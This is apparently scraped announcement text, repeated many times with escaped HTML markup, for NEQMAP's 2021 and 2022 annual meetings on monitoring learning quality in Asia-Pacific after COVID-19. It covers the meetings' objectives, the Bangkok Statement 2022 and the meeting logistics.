As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the 